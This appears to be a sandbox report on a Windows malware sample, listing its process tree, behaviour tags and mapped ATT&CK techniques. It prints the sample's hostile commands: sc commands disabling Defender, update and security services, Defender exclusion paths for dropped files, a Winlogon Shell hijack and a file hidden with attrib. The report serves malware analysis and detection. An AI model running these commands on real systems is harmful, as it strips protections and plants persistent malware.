C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
2⤵
PID:1940

C:\Windows\SysWOW64\PING.EXE
"C:\Windows\system32\PING.EXE" twitter.com
3⤵
- Runs ping.exe
PID:3240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
2⤵
PID:1788

C:\Windows\SysWOW64\PING.EXE
"C:\Windows\system32\PING.EXE" twitter.com
3⤵
- Runs ping.exe
PID:1304

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
2⤵
PID:5416

C:\Windows\SysWOW64\PING.EXE
"C:\Windows\system32\PING.EXE" twitter.com
3⤵
- Runs ping.exe
PID:1080

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
2⤵
PID:6332

C:\Windows\SysWOW64\PING.EXE
"C:\Windows\system32\PING.EXE" twitter.com
3⤵
- Runs ping.exe
PID:6176

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
2⤵
PID:7924

C:\Windows\SysWOW64\PING.EXE
"C:\Windows\system32\PING.EXE" twitter.com
3⤵
- Runs ping.exe
PID:3664

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /renew
2⤵
PID:7620

C:\Windows\SysWOW64\ipconfig.exe
"C:\Windows\system32\ipconfig.exe" /renew
3⤵
- Gathers network information
PID:6800

C:\Users\Admin\AppData\Local\Temp\E197.exe
C:\Users\Admin\AppData\Local\Temp\E197.exe
2⤵
- Executes dropped EXE
- Modifies system certificate store
PID:4032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4032 -s 624
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5844

C:\Users\Admin\AppData\Local\Temp\EED6.exe
C:\Users\Admin\AppData\Local\Temp\EED6.exe
1⤵
- Executes dropped EXE
PID:2156

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
2⤵
PID:1280

C:\Windows\SysWOW64\reg.exe
REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
3⤵
PID:2044

C:\Users\Admin\AppData\Local\chromedrlver.exe
"C:\Users\Admin\AppData\Local\chromedrlver.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:7420

C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
"C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"
3⤵
- Executes dropped EXE
PID:1620

C:\Users\Admin\AppData\Local\Temp\FEA6.exe
C:\Users\Admin\AppData\Local\Temp\FEA6.exe
1⤵
- Executes dropped EXE
- Drops startup file
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- System policy modification
PID:4016

C:\Users\Admin\AppData\Local\Temp\cfd2c909-98c0-493c-bc5a-8fe1a101cd42\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\cfd2c909-98c0-493c-bc5a-8fe1a101cd42\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\cfd2c909-98c0-493c-bc5a-8fe1a101cd42\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
2⤵
- Executes dropped EXE
PID:1708

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cfd2c909-98c0-493c-bc5a-8fe1a101cd42\test.bat"
3⤵
PID:1756

C:\Windows\system32\sc.exe
sc stop windefend
4⤵
PID:2100

C:\Windows\system32\sc.exe
sc config windefend start= disabled
4⤵
PID:3112

C:\Windows\system32\sc.exe
sc stop Sense
4⤵
PID:4276

C:\Windows\system32\sc.exe
sc config Sense start= disabled
4⤵
PID:3736

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
PID:1424

C:\Windows\system32\sc.exe
sc config wuauserv start= disabled
4⤵
PID:5104

C:\Windows\system32\sc.exe
sc stop usosvc
4⤵
PID:1284

C:\Windows\system32\sc.exe
sc config usosvc start= disabled
4⤵
PID:1532

C:\Windows\system32\sc.exe
sc stop WaasMedicSvc
4⤵
PID:4292

C:\Windows\system32\sc.exe
sc config WaasMedicSvc start= disabled
4⤵
PID:4936

C:\Windows\system32\sc.exe
sc stop SecurityHealthService
4⤵
PID:2348

C:\Windows\system32\sc.exe
sc config SecurityHealthService start= disabled
4⤵
PID:4992

C:\Windows\system32\sc.exe
sc stop SDRSVC
4⤵
PID:4916

C:\Windows\system32\sc.exe
sc config SDRSVC start= disabled
4⤵
PID:2592

C:\Windows\system32\sc.exe
sc stop wscsvc
4⤵
PID:1964

C:\Windows\system32\sc.exe
sc config wscsvc start= disabled
4⤵
PID:1408

C:\Windows\system32\sc.exe
sc stop WdiServiceHost
4⤵
PID:2140

C:\Windows\system32\sc.exe
sc config WdiServiceHost start= disabled
4⤵
PID:2852

C:\Windows\system32\sc.exe
sc stop WdiSystemHost
4⤵
PID:1596

C:\Windows\system32\sc.exe
sc config WdiSystemHost start= disabled
4⤵
PID:1884

C:\Windows\system32\sc.exe
sc stop InstallService
4⤵
PID:1924

C:\Windows\system32\sc.exe
sc config InstallService Start= disabled
4⤵
PID:4740

C:\Users\Admin\AppData\Local\Temp\6b26555d-8952-4155-b481-9b91a98f9eed\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\6b26555d-8952-4155-b481-9b91a98f9eed\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\6b26555d-8952-4155-b481-9b91a98f9eed\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
2⤵
- Executes dropped EXE
PID:3368

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\6b26555d-8952-4155-b481-9b91a98f9eed\test.bat"
3⤵
PID:3896

C:\Windows\system32\sc.exe
sc stop windefend
4⤵
PID:4116

C:\Windows\system32\sc.exe
sc config windefend start= disabled
4⤵
PID:5112

C:\Windows\system32\sc.exe
sc stop Sense
4⤵
PID:3572

C:\Windows\system32\sc.exe
sc config Sense start= disabled
4⤵
PID:3136

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
PID:1596

C:\Windows\system32\sc.exe
sc config wuauserv start= disabled
4⤵
- Modifies WinLogon for persistence
PID:2044

C:\Windows\system32\sc.exe
sc stop usosvc
4⤵
PID:1208

C:\Windows\system32\sc.exe
sc config usosvc start= disabled
4⤵
PID:3048

C:\Windows\system32\sc.exe
sc stop WaasMedicSvc
4⤵
PID:4672

C:\Windows\system32\sc.exe
sc config WaasMedicSvc start= disabled
4⤵
PID:4632

C:\Windows\system32\sc.exe
sc stop SecurityHealthService
4⤵
PID:5028

C:\Windows\system32\sc.exe
sc config SecurityHealthService start= disabled
4⤵
PID:3376

C:\Windows\system32\sc.exe
sc stop SDRSVC
4⤵
PID:4332

C:\Windows\system32\sc.exe
sc config SDRSVC start= disabled
4⤵
PID:3660

C:\Windows\system32\sc.exe
sc stop wscsvc
4⤵
PID:488

C:\Windows\system32\sc.exe
sc config wscsvc start= disabled
4⤵
PID:1428

C:\Windows\system32\sc.exe
sc stop WdiServiceHost
4⤵
PID:4792

C:\Windows\system32\sc.exe
sc config WdiServiceHost start= disabled
4⤵
PID:1464

C:\Windows\system32\sc.exe
sc stop WdiSystemHost
4⤵
PID:1088

C:\Windows\system32\sc.exe
sc config WdiSystemHost start= disabled
4⤵
PID:4856

C:\Windows\system32\sc.exe
sc stop InstallService
4⤵
PID:4104

C:\Windows\system32\sc.exe
sc config InstallService Start= disabled
4⤵
PID:3724

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\FEA6.exe" -Force
2⤵
PID:1516

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:1088

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\FEA6.exe" -Force
2⤵
PID:3136

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:4276

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\FEA6.exe" -Force
2⤵
PID:4044

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
2⤵
PID:2200

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:3896

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
2⤵
PID:2272

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:1756

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\FEA6.exe" -Force
2⤵
PID:1628

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:4120

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
PID:2468

C:\Users\Admin\AppData\Local\Temp\40a594fa-b69f-49c3-a305-3c8fb723176d\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\40a594fa-b69f-49c3-a305-3c8fb723176d\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\40a594fa-b69f-49c3-a305-3c8fb723176d\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
3⤵
- Executes dropped EXE
PID:5628

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\40a594fa-b69f-49c3-a305-3c8fb723176d\test.bat"
4⤵
PID:5924

C:\Users\Admin\AppData\Local\Temp\0fb43cf6-8166-4a3f-bf81-3a75fe3aaa37\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\0fb43cf6-8166-4a3f-bf81-3a75fe3aaa37\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\0fb43cf6-8166-4a3f-bf81-3a75fe3aaa37\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
3⤵
PID:5588

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
3⤵
PID:5796

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
- Executes dropped EXE
PID:5588

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
3⤵
PID:6120

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
3⤵
PID:5396

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
3⤵
PID:1552

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
3⤵
PID:5972

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
3⤵
PID:2588

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
3⤵
PID:6716

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe"
3⤵
PID:6272

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe"
3⤵
PID:3732

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
PID:6440

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
2⤵
PID:4792

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\FEA6.exe" -Force
2⤵
PID:5100

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force
2⤵
PID:2404

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
2⤵
PID:5744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:3676

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4632

C:\Users\Admin\AppData\Local\Temp\D8C.exe
C:\Users\Admin\AppData\Local\Temp\D8C.exe
1⤵
- Executes dropped EXE
PID:4916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4916 -s 464
2⤵
- Program crash
PID:1308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4916 -s 472
2⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 4916 -ip 4916
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 4916 -ip 4916
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:2100

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\0fb43cf6-8166-4a3f-bf81-3a75fe3aaa37\test.bat"
1⤵
PID:5844

C:\Windows\system32\sc.exe
sc stop windefend
2⤵
PID:5220

C:\Users\Admin\AppData\Local\Temp\5081.exe
C:\Users\Admin\AppData\Local\Temp\5081.exe
1⤵
- Executes dropped EXE
PID:5632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5632 -s 464
2⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5204

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5632 -s 472
2⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5632 -ip 5632
1⤵
PID:3256

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:5828

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 196 -p 5632 -ip 5632
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6316

C:\Users\Admin\AppData\Local\Temp\7B3C.exe
C:\Users\Admin\AppData\Local\Temp\7B3C.exe
1⤵
- Executes dropped EXE
PID:6228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6228 -s 272
2⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 6228 -ip 6228
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1936

C:\Users\Admin\AppData\Local\Temp\E2E0.exe
C:\Users\Admin\AppData\Local\Temp\E2E0.exe
1⤵
- Executes dropped EXE
PID:2136

C:\Users\Admin\AppData\Local\Temp\b1.exe
"C:\Users\Admin\AppData\Local\Temp\b1.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4348

C:\Windows\system32\cmd.exe
cmd /Q /C move /Y C:\Users\Admin\AppData\Local\Temp\b1.exe C:\Users\Admin\AppData\Roaming\Microsoft\AppServices.exe
3⤵
PID:3092

C:\Windows\system32\cmd.exe
cmd /C "powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp"
3⤵
PID:7036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp
4⤵
PID:7752

C:\Windows\system32\cmd.exe
cmd /Q /C reg add "HKCU\Software\Microsoft Partners" /f
3⤵
PID:8064

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft Partners" /f
4⤵
PID:5824

C:\Windows\system32\cmd.exe
cmd /C "powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\Microsoft"
3⤵
PID:7852

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\Microsoft
4⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:868

C:\Windows\system32\cmd.exe
cmd /C "attrib +S +H C:\Users\Admin\AppData\Roaming\Microsoft\AppServices.exe"
3⤵
PID:7928

C:\Windows\system32\attrib.exe
attrib +S +H C:\Users\Admin\AppData\Roaming\Microsoft\AppServices.exe
4⤵
- Views/modifies file attributes
PID:4836

C:\Users\Admin\AppData\Local\Temp\test1.exe
"C:\Users\Admin\AppData\Local\Temp\test1.exe"
2⤵
- Executes dropped EXE
PID:4408

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4408 -s 8
3⤵
- Program crash
PID:868

C:\Users\Admin\AppData\Local\Temp\clean.exe
"C:\Users\Admin\AppData\Local\Temp\clean.exe"
2⤵
- Executes dropped EXE
PID:480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4408 -ip 4408
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4032 -ip 4032
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6292

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Winlogon Helper DLL

T1004

Modify Existing Service

T1031

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Bypass User Account Control

T1088

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Bypass User Account Control

T1088

Hidden Files and Directories

T1158

Impair Defenses

T1562

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery